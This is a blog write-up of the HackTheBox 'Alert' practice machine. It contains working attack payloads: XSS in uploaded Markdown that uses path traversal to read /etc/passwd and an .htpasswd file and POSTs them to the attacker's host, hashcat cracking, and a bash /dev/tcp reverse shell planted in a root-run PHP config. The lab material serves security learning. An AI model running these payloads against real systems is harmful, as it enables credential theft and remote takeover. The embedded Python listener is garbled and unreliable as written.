<< Go back to: blog posts | home page

HackTheBox - Alert box write-up

28 November 2024

       _           _     _     _   _     
  __ _| | ___ _ __| |_  | |__ | |_| |__  
 / _` | |/ _ \ '__| __| | '_ \| __| '_ \ 
| (_| | |  __/ |  | |_ _| | | | |_| |_) |
 \__,_|_|\___|_|   \__(_)_| |_|\__|_.__/ 

Intro

This is another Hack the Box machine called Alert. While gaining an initial foothold may be challenging for some (it certainly was for me), it is a super-fun machine to break into. So, here we go.

nmap

Okay, first we’re going to start with some basic enumeration—we’ll scan for open ports on the machine:

┌──(ognard㉿ognard)-[~]
└─$ nmap -sC -sV alert.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 20:37 CET
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds

We can see that only two ports are open on the machine: port 22 and port 80.

the website

If we access http://alert.htb, we can see that the website has a couple of pages:

Before exploring more around the website, we’ll continue with some additional enumeration steps.

Discovering directories

We’re going to use Gobuster to attempt to discover available directories:

┌──(ognard㉿ognard)-[~/Tools/RevShells]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://alert.htb -x php,txt,bak -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://alert.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/.php                 (Status: 403) [Size: 274]
/css                  (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/index.php            (Status: 302) [Size: 660] [--> index.php?page=alert]
/contact.php          (Status: 200) [Size: 24]
/messages             (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php         (Status: 200) [Size: 1]
/.php                 (Status: 403) [Size: 274]
Progress: 350656 / 350660 (100.00%)
===============================================================
Finished
===============================================================

From this, we can see that Gobuster has discovered a few directories—uploads and messages seeming the most significant. However, an attempt to access these in the browser results in a Forbidden 403 response.

Additionally, we can see that there are contact.php and messages.php. Trying to access these, messages.php gives a blank page, and contact.php returns ‘Error: Invalid request.’ Quite strange. Maybe we can make some use of these later on.

Discovering subdomains

We’ll use ffuf to discover existing subdomains on the host:

┌──(ognard㉿ognard)-[~]
└─$ ffuf -u http://alert.htb -H "Host: FUZZ.alert.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -fc 301                                 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.alert.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 42ms]
:: Progress: [151265/151265] :: Job [1/1] :: 522 req/sec :: Duration: [0:03:19] :: Errors: 0 ::

ffuf discovered a single subdomain available on the host. Trying to access the subdomain, a login dialog appears; however, we still don’t have the credentials to move forward with this subdomain.

Using the -fc flag with ffuf will ignore all 301 status codes in the output (otherwise, there will be a lot of them).

XSS Abuse

Initially, knowing that the website is based on .php, I thought it through by trying to upload Pentestmonkey’s PHP reverse shell, adding a .md extension to the .php file, intercepting the request in Burp Suite, and masking the .md extension with %00 (null byte). But that didn’t work out, since there was no way to find the uploaded php file, as the name of the file was hashed upon upload.

So, what can be done about this? We can modify a single .md file to contain JavaScript code that will serve our purpose of XSS injection. The idea is that, after reading the About Us page, we can see a kind of hint that the administrator of the website reads the messages (sent through the Contact Us page).

… Our administrator is in charge of reviewing contact messages and reporting errors to us…

We can see that when a .md file is uploaded on the home page (Markdown Viewer), it redirects to a preview page of the markdown file, and in the bottom right corner, there is a link ‘Share Markdown’ that is, in fact, a link to the uploaded .md file.

Maybe if we inject a malicious script into the .md file, we can later share this link with the administrator through the contact page?

We can try to edit/create a .md file with something like this:

# Innocent .md file

Hello Dear Administrator,
...

<script>
fetch('/messages.php')
  .then(response => response.text())
  .then(data => {
    return fetch('http://10.10.14.116:8080', {
      method: 'POST',
      headers: { 'Content-Type': 'text/plain' },
      body: data,
    });
  })
</script>

and upload it through the Markdown Viewer page. That should redirect us to the preview page, and we can simply copy the shareable link from there to share with the administrator through the contact page.

What this script does:

My initial attempt was to fetch /messages (without .php), and I banged my head against this part a lot, since I had forgotten that I could eventually try to fetch messages.php, which was discovered earlier.

Okay, since we have uploaded the malicious .md file, copied the link from the preview page, and are ready to send it to the administrator through the contact page, we can now start an HTTP server to get the response back and read its content.

Important: Running basic python3 -m http.server won’t work, since it doesn’t support POST method. Instead, I’ve done this modified python script that will do the work instead:

```
from http.server import BaseHTTPRequestHandler, HTTPServer

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
# Read the content length from headers
content_length = int(self.headers.get(‘Content-Length’, 0))
# Read the body data
post_data = self.rfile.read(content_length)

    # Print the data received
    print("Data received:")
    print(post_data.decode('utf-8'))

    # Send a response back
    self.send_response(200)
    self.end_headers()
    self.wfile.write(b"Received")

Run the server

if name == “main”:
server_address = (‘’, 8080) # Listen on all interfaces, port 80
httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
print(“Serving HTTP on port 8080…”)
httpd.serve_forever()

```

With the server up and running, we can finally share the link with the administrator, and if everything goes well, we will get this response back in the terminal:


┌──(ognard㉿ognard)-[~/Tools/Servers]
└─$ python3 pyserv.py 
Serving HTTP on port 80...
Data received:
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

That’s an interesting response—we can see a link to a file named 2024-03-10_15-48-34.txt. Next, we can try modifying the script in the .md file to repeat the same process and fetch the contents of the file from the response, but that won’t return anything of value in our case. Instead, we can try using the Path Traversal technique to discover valuable information from other places on the machine.

# Innocent .md file

Hello Dear Administrator,
...

<script>
fetch('/messages.php?file=../../../../etc/passwd')
  .then(response => response.text())
  .then(data => {
    return fetch('http://10.10.14.116:8080', {
      method: 'POST',
      headers: { 'Content-Type': 'text/plain' },
      body: data,
    });
  })
</script>

Repeating the process of uploading and sharing the link with the administrator with the XSS script above will return the following output on our locally running HTTP server:

Data received:
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>

10.129.129.209 - - [27/Nov/2024 15:49:12] "POST / HTTP/1.1" 200 -

Very interesting indeed! There seem to be two users of interest here—albert and david. We can poke around to find more information by repeating the process of editing the XSS script, re-uploading, and sharing it with the admin. A good place to find more info is to attempt to read some config files. For example, we have the information from our scan that the website is running on Apache2, so as a start, we can read the default configuration for sites-available:

# Innocent .md file

Hello Dear Administrator,
...

<script>
fetch('/messages.php?file=../../../../etc/apache2/sites-available/000-default.conf')
  .then(response => response.text())
  .then(data => {
    fetch('http://10.10.14.116:8080', {
      method: 'POST',
      headers: { 'Content-Type': 'text/plain' },
      body: data,
    });
  });
</script>

This will return the following response in the terminal:

<VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Here is the juicy part of this output:

AuthUserFile /var/www/statistics.alert.htb/.htpasswd

Let’s try modifying the XSS script once more, now to target this AuthUserFile:

# Innocent .md file

Hello Dear Administrator,
...

<script>
fetch('/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd')
  .then(response => response.text())
  .then(data => {
    fetch('http://10.10.14.116:8080', {
      method: 'POST',
      headers: { 'Content-Type': 'text/plain' },
      body: data,
    });
  });
</script>

Now we have some really nice output:

Data received:
<pre>albert:[PASSWORD HASH WILL BE HERE]
</pre>

Cracking the hash

We have discovered the hash for albert’s password. Now we need to store it in a hash.txt file and spin up Hashcat to crack the hash:

┌──(ognard㉿ognard)-[~/Practice/Alert]
└─$ hashcat -m 1600 hash /usr/share/wordlists/rockyou.txt                                       
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-x86-64-QEMU Virtual CPU version 2.5+, 2916/5896 MB (1024 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:[CRACKED PASSWORD WILL BE HERE]    

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Time.Started.....: Wed Nov 27 16:27:48 2024 (1 sec)
Time.Estimated...: Wed Nov 27 16:27:49 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    13749 H/s (11.93ms) @ Accel:128 Loops:500 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3072/14344385 (0.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 2688/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidate.Engine.: Device Generator
Candidates.#1....: my3kids -> dangerous

Started: Wed Nov 27 16:27:30 2024
Stopped: Wed Nov 27 16:27:50 2024

And we have the password! Now we can try to SSH into the machine using albert’s credentials.

I tried to log in to the previously discovered statistics.alert.htb subdomain with albert’s credentials. It was successful; however, I didn’t find anything useful there that would serve me well.

Privilege Escalation

We have successfully logged in through SSH.

albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

Now we can easily read the user’s flag present in albert’s home directory. What remains is to escalate privileges to gain root access and get the root flag. We can try several procedures here, but what stands out as the most prominent in this case are the following processes:

albert@alert:~$ ps aux | grep "root"
...

root         998  0.0  0.6 207256 26436 ?        Ss   13:31   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root        1000  0.0  0.0   8356  3408 ?        S    13:31   0:00 /usr/sbin/CRON -f
root        1001  0.0  0.0   8356  3408 ?        S    13:31   0:00 /usr/sbin/CRON -f
root        1005  0.0  0.5 396748 21332 ?        Ssl  13:31   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        1023  0.0  0.0   2608   596 ?        Ss   13:31   0:00 /bin/sh -c /root/scripts/xss_bot.sh
root        1024  0.0  0.0   2608   596 ?        Ss   13:31   0:00 /bin/sh -c /root/scripts/php_bot.sh
root        1025  0.0  0.0   6892  3224 ?        S    13:31   0:00 /bin/bash /root/scripts/xss_bot.sh
root        1026  0.0  0.0   6892  3424 ?        S    13:31   0:00 /bin/bash /root/scripts/php_bot.sh
root        1031  0.0  0.0   2636   796 ?        S    13:31   0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
root        1032  0.0  0.0   6892  1980 ?        S    13:31   0:01 /bin/bash /root/scripts/php_bot.sh
root        1033  0.0  0.0   2636   800 ?        S    13:31   0:00 inotifywait -m -e create --format %w%f %e /var/www/alert.htb/messages --exclude 2024-03-10_15-48-34.txt
root        1034  0.0  0.0   6892  1832 ?        S    13:31   0:00 /bin/bash /root/scripts/xss_bot.sh
...

Something’s going on here, and we’ll need to discover if we can find something useful. It seems there is something actively running in PHP in /opt/website-monitor. We can inspect this further:

albert@alert:/opt/website-monitor$ ls -al
total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 .
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management  4096 Nov 28 13:43 config
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

We can see something popping out in the picture—this config folder shows that its group ownership is set to management, which in turn has read, write, and execute permissions. Interestingly, albert’s user is a member of the management group, as we can see above from the id output.

Maybe we can edit something here that can be executed as root?

albert@alert:/opt/website-monitor/config$ ls -al
total 12
drwxrwxr-x 2 root management 4096 Nov 28 14:39 .
drwxrwxr-x 7 root root       4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root management   49 Nov 28 14:40 configuration.php

We can edit this configuration.php file and possibly trigger a reverse shell from here:

  GNU nano 4.8                                                         configuration.php                                                          Modified  
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.116/4444 0>&1'");
define('PATH', '/opt/website-monitor');
?>

We should have nc -lnvp 4444 running on our local machine at this point.

Now save the file (we may get a prompt like ‘File has been changed on the disk.’ asking if we want to continue saving), and we should see the reverse shell functioning in our local terminal:

┌──(ognard㉿ognard)-[~/Tools/Servers]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.207] from (UNKNOWN) [10.10.11.44] 38374
bash: cannot set terminal process group (1024): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:~# 

Here we go! Just read the root.txt file, and we have the final flag.